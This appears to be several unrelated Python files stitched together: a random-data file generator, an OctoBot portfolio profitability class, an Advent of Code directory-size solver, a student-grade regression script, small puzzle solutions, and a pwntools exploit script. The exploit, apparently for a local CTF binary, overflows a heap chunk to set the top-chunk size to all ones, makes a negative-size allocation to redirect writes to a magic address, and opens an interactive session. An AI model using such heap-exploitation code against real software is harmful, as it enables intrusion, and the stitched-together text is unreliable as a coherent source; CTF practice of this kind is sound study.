    name_length = len(str(branching_factor))
    console = Console()
    console.log(
        f"Generating {files_count} files {file_size_bytes} bytes each, "
        f"which in total: {total_size} bytes."
    )

    buffer_size = min(file_size_bytes, 16 * 2**20)  # 16MB at max
    garbage = os.urandom(buffer_size)
    write_iterations = file_size_bytes // buffer_size
    tail_size = file_size_bytes % buffer_size

    output_dir.mkdir(parents=True)

    created_files = 0
    folders_counter = 0
    with Progress() as progress:
        data_gen_task = progress.add_task(
            "[green]Generating data...", total=files_count
        )
        file_gen_task = progress.add_task(
            f"[cyan]Generating file...", total=write_iterations
        )
        while created_files < files_count:
            files_count_z = str(folders_counter).zfill(name_length * tree_depth)

            split_path = []
            for level in range(tree_depth):
                split_path.append(
                    files_count_z[name_length * level : name_length * (level + 1)]
                )

            folder_path = output_dir.joinpath(*split_path)

            folder_path.mkdir(parents=True, exist_ok=True)
            folders_counter += 1

            for i in range(branching_factor):
                if created_files < files_count:
                    file_name = str(i).zfill(name_length)
                    full_file_name = folder_path / file_name
                    with full_file_name.open("wb") as file:
                        for iteration in range(write_iterations):
                            file.write(garbage)
                            progress.update(
                                file_gen_task,
                                completed=iteration,
                                description=f"[cyan]Writing file {full_file_name}...",
                            )
                        if tail_size != 0:
                            file.write(garbage[:tail_size])
                    created_files += 1
                    progress.advance(data_gen_task)
                else:
                    break
    console.log("Data generation completed.")

def _parse_args() -> argparse.Namespace:

    parser = argparse.ArgumentParser()
    parser.add_argument("files_count", type=int)
    parser.add_argument("total_size", type=_parse_size)
    parser.add_argument("--branching-factor", type=int, default=100)
    parser.add_argument(
        "--output-dir", type=_parse_dir_path, default=pathlib.Path("./data")
    )
    return parser.parse_args()

def _parse_size(size: str) -> int:
    units = {"B": 1, "KB": 2**10, "MB": 2**20, "GB": 2**30, "TB": 2**40}
    size = size.upper()
    # print("parsing size ", size)
    number, unit = re.fullmatch(r"(\d+(?:\.\d*)?)([KMGT]?B)", size.strip()).groups()
    return int(float(number) * units[unit])

def _parse_dir_path(path: str) -> pathlib.Path:
    if not os.path.exists(path):
        return pathlib.Path(path)
    else:
        raise argparse.ArgumentTypeError(f"{path} already exists, could not overwrite.")

if __name__ == "__main__":
    main()


from pwn import *

if args['DEBUG']:
	context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
	gdb.attach(io)
	pause()

def cmd(index):
	io.sendlineafter(b'Your choice:', str(index).encode())

def add(size, name):
	cmd(2)
	io.sendlineafter(b'length of item name:', str(size).encode())
	io.sendafter(b'name of item:', name)

def show():
	cmd(1)

def change(index, size, name):
	cmd(3)
	io.sendlineafter(b'index of item:', str(index).encode())
	io.sendlineafter(b'length of item name:', str(size).encode())
	io.sendafter(b'name of the item:', name)

def delete(index):
	cmd(4)
	io.sendlineafter(b'index of item:', str(index).encode())

def exp():

	magic = 0x400D49
	"""
	add(0x10, b'A')
	payload = b'A'*0x10 + p64(0) + p64(0xFFFFFFFFFFFFFFFF)
	change(0, len(payload), payload)
	debug()
	add(-80, b'A')  # ==> 异常退出，但不知道啥错误
	"""
	add(0x40, b'A')
	payload = b'A'*0x40 + p64(0) + p64(0xFFFFFFFFFFFFFFFF)
	change(0, len(payload), payload)
	#debug()
	add(-128, b'A')

	#debug()
	add(0x10, p64(magic)*2)
	#debug()
	io.sendline(b'5')
	io.interactive()

if __name__ == "__main__":
	exp()


from octobot_commons.constants import PORTFOLIO_TOTAL, CONFIG_CRYPTO_CURRENCIES
from octobot_commons.logging.logging_util import get_logger
from octobot_commons.symbol_util import split_symbol, merge_currencies

from octobot_trading.constants import TICKER_CHANNEL
from octobot_trading.channels.exchange_channel import get_chan
from octobot_trading.constants import CONFIG_PORTFOLIO_TOTAL
from octobot_trading.exchanges.exchange_simulator import ExchangeSimulator
from octobot_trading.util import get_reference_market

class PortfolioProfitabilty:
    """
    PortfolioProfitabilty calculates the portfolio profitability
    by subtracting portfolio_current_value and portfolio_origin_value
    """

    def __init__(self, config, trader, portfolio_manager, exchange_manager):
        super().__init__()
        self.config = config
        self.trader = trader
        self.portfolio_manager = portfolio_manager
        self.exchange_manager = exchange_manager
        self.logger = get_logger(f"{self.__class__.__name__}[{self.exchange_manager.exchange_name}]")

        self.profitability = 0
        self.profitability_percent = 0
        self.profitability_diff = 0
        self.market_profitability_percent = 0
        self.initial_portfolio_current_profitability = 0
        self.initializing_symbol_prices = set()

        self.portfolio_origin_value = 0
        self.portfolio_current_value = 0

        self.currencies_last_prices = {}
        self.origin_crypto_currencies_values = {}
        self.current_crypto_currencies_values = {}
        self.origin_portfolio = None

        # buffer of currencies excluding market only used currencies ex: conf = btc/usd, eth/btc, ltc/btc, here usd
        # is market only => not used to compute market average profitability
        self.traded_currencies_without_market_specific = set()

        self.reference_market = get_reference_market(self.config)

    async def handle_mark_price_update(self, symbol, mark_price):
        force_recompute_origin_portfolio = False
        if symbol not in set(self.origin_crypto_currencies_values.keys()):
            # will fail if symbol doesn't have a price in self.origin_crypto_currencies_values and therefore
            # requires the origin portfolio value to be recomputed using this price info in case this price is relevant
            force_recompute_origin_portfolio = True
            self.origin_crypto_currencies_values[symbol] = mark_price
            currency = split_symbol(symbol)[0]
            if currency not in set(self.origin_crypto_currencies_values.keys()):
                self.origin_crypto_currencies_values[currency] = mark_price
        self.currencies_last_prices[symbol] = mark_price
        return await self._update_profitability(force_recompute_origin_portfolio)

    async def handle_balance_update(self, balance):
        return await self._update_profitability()

    """ Get profitability calls get_currencies_prices to update required data
    Then calls get_portfolio_current_value to set the current value of portfolio_current_value attribute
    Returns True if changed else False
    """

    async def _update_profitability(self, force_recompute_origin_portfolio=False):
        self.profitability_diff = self.profitability_percent
        self.profitability = 0
        self.profitability_percent = 0
        self.market_profitability_percent = 0
        self.initial_portfolio_current_profitability = 0

        try:
            await self.update_portfolio_and_currencies_current_value()

            if self.portfolio_origin_value == 0:
                # try to update portfolio origin value if it's not known yet
                await self._init_origin_portfolio_and_currencies_value()
            if force_recompute_origin_portfolio:
                await self._recompute_origin_portfolio_initial_value()

            initial_portfolio_current_value = await self._get_origin_portfolio_current_value()

            self.profitability = self.portfolio_current_value - self.portfolio_origin_value

            if self.portfolio_origin_value > 0:
                self.profitability_percent = (100 * self.portfolio_current_value / self.portfolio_origin_value) - 100
                self.initial_portfolio_current_profitability = \
                    (100 * initial_portfolio_current_value / self.portfolio_origin_value) - 100
            else:
                self.profitability_percent = 0

            # calculate difference with the last current portfolio
            self.profitability_diff = self.profitability_percent - self.profitability_diff

            self.market_profitability_percent = await self.get_average_market_profitability()

            return self.profitability_diff != 0
        except KeyError as e:
            self.logger.warning(f"Missing ticker data to calculate profitability")
            self.logger.warning(f"Missing {e} ticker data to calculate profitability")
        except Exception as e:
            self.logger.exception(e, True, str(e))

    """ Returns the % move average of all the watched cryptocurrencies between bot's start time and now
    """

    async def get_average_market_profitability(self):
        await self.get_current_crypto_currencies_values()

        origin_values = [value / self.origin_crypto_currencies_values[currency]
                         for currency, value
                         in self._only_symbol_currency_filter(self.current_crypto_currencies_values).items()
                         if self.origin_crypto_currencies_values[currency] > 0]

        return sum(origin_values) / len(origin_values) * 100 - 100 if origin_values else 0

    async def get_current_crypto_currencies_values(self):
        if not self.current_crypto_currencies_values:
            await self.update_portfolio_and_currencies_current_value()
        return self.current_crypto_currencies_values

    async def get_current_holdings_values(self):
        holdings = await self.get_current_crypto_currencies_values()

        return {currency: await self._get_currency_value(self.portfolio_manager.portfolio.portfolio, currency, holdings)
                for currency in holdings.keys()}

    def _only_symbol_currency_filter(self, currency_dict):
        if not self.traded_currencies_without_market_specific:
            self._init_traded_currencies_without_market_specific()
        return {currency: v for currency, v in currency_dict.items()
                if currency in self.traded_currencies_without_market_specific}

    def _init_traded_currencies_without_market_specific(self):
        for cryptocurrency in self.config[CONFIG_CRYPTO_CURRENCIES]:
            for pair in self.exchange_manager.exchange_config.get_traded_pairs(cryptocurrency):
                symbol, _ = split_symbol(pair)
                if symbol not in self.traded_currencies_without_market_specific:
                    self.traded_currencies_without_market_specific.add(symbol)

    async def update_portfolio_and_currencies_current_value(self):
        self.portfolio_current_value = await self.update_portfolio_current_value(
            self.portfolio_manager.portfolio.portfolio)

    async def _init_origin_portfolio_and_currencies_value(self):
        self.origin_portfolio = self.origin_portfolio or await self.portfolio_manager.portfolio.copy()
        self.origin_crypto_currencies_values = \
            await self._evaluate_config_crypto_currencies_and_portfolio_values(self.origin_portfolio.portfolio)
        await self._recompute_origin_portfolio_initial_value()

    async def _recompute_origin_portfolio_initial_value(self):
        self.portfolio_origin_value = \
            await self.update_portfolio_current_value(self.origin_portfolio.portfolio,
                                                      currencies_values=self.origin_crypto_currencies_values,
                                                      fill_currencies_values=True)

    async def _get_origin_portfolio_current_value(self, refresh_values=False):
        if refresh_values:
            self.current_crypto_currencies_values = \
                await self._evaluate_config_crypto_currencies_and_portfolio_values(self.origin_portfolio.portfolio)
        return await self.update_portfolio_current_value(self.origin_portfolio.portfolio,
                                                         currencies_values=self.current_crypto_currencies_values)

    async def update_portfolio_current_value(self, portfolio, currencies_values=None, fill_currencies_values=False):
        values = currencies_values
        if values is None or fill_currencies_values:
            self.current_crypto_currencies_values = \
                await self._evaluate_config_crypto_currencies_and_portfolio_values(portfolio)
            if fill_currencies_values:
                for currency, value in self.current_crypto_currencies_values.items():
                    if currency not in currencies_values:
                        currencies_values[currency] = value
            values = self.current_crypto_currencies_values
        return await self._evaluate_portfolio_value(portfolio, values)

    """ try_get_value_of_currency will try to obtain the current value of the currency quantity
    in the reference currency.
    It will try to create the symbol that fit with the exchange logic.
    Returns the value found of this currency quantity, if not found returns 0.
    """

    async def _try_get_value_of_currency(self, currency, quantity, raise_error):
        symbol = merge_currencies(currency, self.reference_market)
        symbol_inverted = merge_currencies(self.reference_market, currency)

        try:
            if self.exchange_manager.symbol_exists(symbol):
                return self.currencies_last_prices[symbol] * quantity

            elif self.exchange_manager.symbol_exists(symbol_inverted) and \
                    self.currencies_last_prices[symbol_inverted] != 0:
                return quantity / self.currencies_last_prices[symbol_inverted]

            self._inform_no_matching_symbol(currency)
            return 0
        except KeyError as e:
            if not self.exchange_manager.is_backtesting:
                symbols_to_add = []
                if self.exchange_manager.symbol_exists(symbol):
                    symbols_to_add = [symbol]
                elif self.exchange_manager.symbol_exists(symbol_inverted):
                    symbols_to_add = [symbol_inverted]

                if symbols_to_add:
                    await get_chan(TICKER_CHANNEL, self.exchange_manager.id).modify(added_pairs=symbols_to_add)
                    self.initializing_symbol_prices.add(currency)
                if raise_error:
                    raise e
            return 0

    def _inform_no_matching_symbol(self, currency):
        # do not log warning in backtesting or tests
        if not self.exchange_manager.is_backtesting:
            self.logger.warning(f"Can't find matching symbol for {currency} and {self.reference_market}")

    async def _evaluate_config_crypto_currencies_and_portfolio_values(self, portfolio):
        values_dict = {}
        evaluated_currencies = set()
        missing_tickers = set()
        # evaluate config currencies
        for cryptocurrency in self.config[CONFIG_CRYPTO_CURRENCIES]:
            pairs = self.exchange_manager.exchange_config.get_traded_pairs(cryptocurrency)
            if pairs:
                currency, market = split_symbol(pairs[0])
                currency_to_evaluate = currency
                try:
                    if currency not in evaluated_currencies:
                        values_dict[currency] = await self.evaluate_value(currency, 1)
                        evaluated_currencies.add(currency)
                    if market not in evaluated_currencies:
                        currency_to_evaluate = market
                        values_dict[market] = await self.evaluate_value(market, 1)
                        evaluated_currencies.add(market)
                except KeyError:
                    missing_tickers.add(currency_to_evaluate)
        # evaluate portfolio currencies
        for currency in portfolio:
            try:
                if currency not in evaluated_currencies:
                    values_dict[currency] = await self.evaluate_value(currency, 1)
                    evaluated_currencies.add(currency)
            except KeyError:
                missing_tickers.add(currency)
        if missing_tickers:
            self.logger.debug(f"Missing price data for {missing_tickers}, impossible to compute all the "
                              f"currencies values for now.")
        return values_dict

    """ evaluate_portfolio_value performs evaluate_value with a portfolio configuration
    Returns the calculated quantity value in reference (attribute) currency
    """

    async def _evaluate_portfolio_value(self, portfolio, currencies_values=None):
        return sum([
            await self._get_currency_value(portfolio, currency, currencies_values)
            for currency in portfolio
        ])

    async def _get_currency_value(self, portfolio, currency, currencies_values=None, raise_error=False):
        if currency in portfolio and portfolio[currency][CONFIG_PORTFOLIO_TOTAL] != 0:
            if currencies_values and currency in currencies_values:
                return currencies_values[currency] * portfolio[currency][CONFIG_PORTFOLIO_TOTAL]
            else:
                return await self.evaluate_value(currency, portfolio[currency][CONFIG_PORTFOLIO_TOTAL], raise_error)
        return 0

    # Evaluate value returns the currency quantity value in the reference (attribute) currency
    async def evaluate_value(self, currency, quantity, raise_error=True):
        # easy case --> the current currency is the reference currency
        if currency == self.reference_market:
            return quantity
        elif quantity == 0:
            return quantity
        else:
            currency_value = await self._try_get_value_of_currency(currency, quantity, raise_error)
            if currency_value > 0 and currency in self.initializing_symbol_prices:
                self.initializing_symbol_prices.remove(currency)
            return currency_value

    async def holdings_ratio(self, currency):
        currency_holdings: float = self.portfolio_manager.portfolio.get_currency_from_given_portfolio(currency,
                                                                                PORTFOLIO_TOTAL)
        currency_value: float = await self.evaluate_value(currency, currency_holdings)
        return currency_value / self.portfolio_current_value if self.portfolio_current_value else 0


class File:
    name = ""
    size = 0
    def __init__(self, name, size):
        self.name = name
        self.size = size

class Directory:
    name = ""
    file_children = []
    dir_children = []
    path = ''
    size = 0
    def __init__(self, name, path, file_children, dir_children):
        self.name = name
        self.path = path
        self.file_children = file_children
        self.dir_children = dir_children
        for child in file_children:
            self.size += child.size
        for child in dir_children:
            child.path = self.path + "/" + child.name
    def add_file(self, file):
        for child in self.file_children:
            if child.name == file.name:
                return
        self.file_children.append(file)
        self.size += file.size
    def add_dir(self, dir):
        for child in self.dir_children:
            if child.name == dir.name:
                return
        dir.path = self.path + "/" + dir.name
        self.dir_children.append(dir)

def ls(a):
    a = input()
    while a and a[0] != '$':
        if a[0] == 'd':
            current.add_dir(Directory(a[4:], "", [], []))
        else:
            size, name = a.split()
            current.add_file(File(name, int(size)))
        a = input()
    return a

def find(dir, path):
    if dir.path == path:
        return dir
    for child in dir.dir_children:
        result = find(child, path)
        if result:
            return result
    return ""

def cd(a, current, root):
    if a[5] == "/":
        current = root
    elif a[5] == ".":
        current = find(root, current.path[:-len(current.name)-1])
    else:
        for child in current.dir_children:
            if child.name == a[5:]:
                current = child
                break
    a = input()
    return a, current

a = input()
root = Directory('/', '', [], [])
current = root
a = input()

while True:
    if not a:
        break
    if a[0] == "$":
        if a[2] == "c":
            a, current = cd(a, current, root)
        elif a[2] == "l":
            a = ls(a)

def update_sizes(dir):
    for child in dir.dir_children:
        update_sizes(child)
        dir.size += child.size

update_sizes(root)

space = max(0, root.size - 40000000)
min_size = root.size

def check_sizes(min_size, dir):
    if min_size >= dir.size >= space:
        min_size = dir.size
    for child in dir.dir_children:
        child_min_size = check_sizes(min_size, child)
        if min_size >= child_min_size >= space:
            min_size = child_min_size
    return min_size

print(check_sizes(min_size, root))


"""
this programme has for purpose to use the linear regression
to predict the futur grades of the students
"""

import pandas as pd
import numpy as np
import sklearn
from sklearn import linear_model
from sklearn.utils import shuffle
import matplotlib.pyplot as pyplot
import pickle
from matplotlib import style

#read data from the file "student-mat.csv"
data = pd.read_csv("data/student-mat.csv", sep=";")

#just for testing printing our data head from the file
print(data.head())

#data structure am going to use
data = data[["G1", "G2", "G3", "studytime", "failures", "absences"]]

"""
for this program i ll be only using data with integer type
you can see the difference after i ve set the new data structure
"""
print(data.head())

#G3 is the final grade which the program will be predicting based on all the different attributs
predict = "G3"

"""
In this part am going to set up 2 arrays
one for the attributs and the other for the labels
"""

arr_attributs = np.array(data.drop([predict], 1))
arr_labels = np.array(data[predict])

"""
so in this part, i split all of my values into test and train arrays
in order to test 10% of our data so that the computer doesn't memorise the patterns
and we can get better accurate results
"""
arr_attributs_train, arr_attributs_test, arr_labels_train, arr_labels_test = sklearn.model_selection.train_test_split(arr_attributs, arr_labels, test_size=0.1)

#saving models and plotting data
best = 0
for _ in range(30):
    arr_attributs_train, arr_attributs_test, arr_labels_train, arr_labels_test = sklearn.model_selection.train_test_split(arr_attributs, arr_labels, test_size=0.1)

    #create training model
    linear = linear_model.LinearRegression()

    linear.fit(arr_attributs_train, arr_labels_train)
    acc = linear.score(arr_attributs_test, arr_labels_test)
    #this is our accuracy
    print(acc)
    #it's only goning to save a model if it current accuracy is better than the ones before
    if acc > best:
        best = acc
        with open("Model_Save/studentmodel.pickle", "wb") as f:
            pickle.dump(linear, f)

pickle_in = open("Model_Save/studentmodel.pickle", "rb")
linear = pickle.load(pickle_in)

print ('Coefficients : \n', linear.coef_)
print ('Intercept : \n', linear.intercept_)

#this is how this works on students (as a test)

predictions = linear.predict(arr_attributs_test)

for x in range(len(predictions)):
    print (predictions[x], arr_attributs_test[x], arr_labels_test[x])

#drawing the graph
p = "G1"

style.use("ggplot")
pyplot.scatter(data[p],data["G3"])
pyplot.xlabel(p)
pyplot.ylabel("Final Grade")

pyplot.show()


from sympy import sieve

primes = []

uni_primes = []

for i in sieve.primerange(2,100):
    primes.append(i)

for i in range(1,len(primes)):
    if primes[i] == sum(primes[:i-1]):
        uni_primes.append(i)

print(uni_primes[-1])


import math
class Solution:
    def find132pattern(self, nums: List[int]) -> bool:
        n=len(nums)
        if(n<3):
            return False

        second_num=-math.inf
        stck=[]

        for i in range(n-1,-1,-1):
            if(nums[i]<second_num):
                return True
            while stck and stck[-1]<nums[i]:
                second_num=stck.pop()

            stck.append(nums[i])
        return False